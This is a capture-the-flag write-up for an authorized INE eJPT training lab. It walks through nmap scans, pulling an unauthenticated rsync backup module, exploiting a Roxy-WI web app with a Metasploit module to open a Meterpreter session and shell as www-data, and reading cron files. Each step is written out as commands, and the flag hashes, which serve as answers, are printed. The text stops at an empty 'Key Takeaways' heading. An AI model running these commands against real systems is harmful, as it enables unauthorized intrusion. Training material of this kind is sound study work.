The Metasploit Framework CTF 2

Enumerate an exposed rsync service on target1 and exploit a Roxy-WI web app on target2 to capture four flags.

eJPT preparation · Write-up by Zeliha Zengin

Lab Environment

GUI access to a Kali machine is provided. Two targets: target1.ine.local (192.218.99.3) and target2.ine.local (192.59.189.4). The target2 IP can change after a lab reset — re-identify it with Nmap before continuing.

Note: Flag format is FLAG#_<MD5> — submit only the hash, without the prefix.
NmapMetasploitrsync

All work is performed against an authorized INE training lab for eJPT exam preparation.

Flag 1 — rsync enumeration

Scan the target, then list the rsync modules exposed without authentication:

cat /etc/hosts
nmap -sV -Pn -A -sC -p- 192.218.99.3
rsync rsync://target1.ine.local/
🏁 FLAG 1: 40fce5d775ae44dabac8c9dada84a31a

Flag 2 — rsync module contents

The backupwscohen module is an exposed backup directory. Pull it down and read the files:

rsync -av rsync://192.218.99.3/backupwscohen ./backupwscohen
cd backupwscohen
ls
cat TPSData.txt
🏁 FLAG 2: f734282a4f6049b0b6b44eea8a958534

Flag 3 — Roxy-WI RCE on target2

Scan target2, then use Metasploit's Roxy-WI module to land a Meterpreter session:

nmap -sV -Pn -A -sC -p- 192.59.189.4
msfconsole -q
search Roxy-WI
use 0
show options
set LHOST 192.59.189.2
set RHOSTS target2.ine.local
set TARGETURI /
exploit

Interact with the session, drop to a shell, and upgrade to an interactive shell as www-data:

getuid
sysinfo
shell
id
whoami
/bin/bash -i
cd /
cat flag.txt
🏁 FLAG 3: c4eb1e396a784166b87848cf35f69f4e

Flag 4 — Cron jobs

Inspect the system crontab and cron directories; the flag lives in a cron definition file:

cat /etc/crontab
ls -la /etc/cron.d/
cat /etc/cron.d/www-data-cron
🏁 FLAG 4: ca39004c71fb48f49315c97856be6775

Summary

FlagTargetTechnique
1target1Nmap + rsync module listing
2target1rsync -av download of backupwscohen
3target2Roxy-WI Metasploit exploit → Meterpreter
4target2Cron job inspection (/etc/cron.d)

Key Takeaways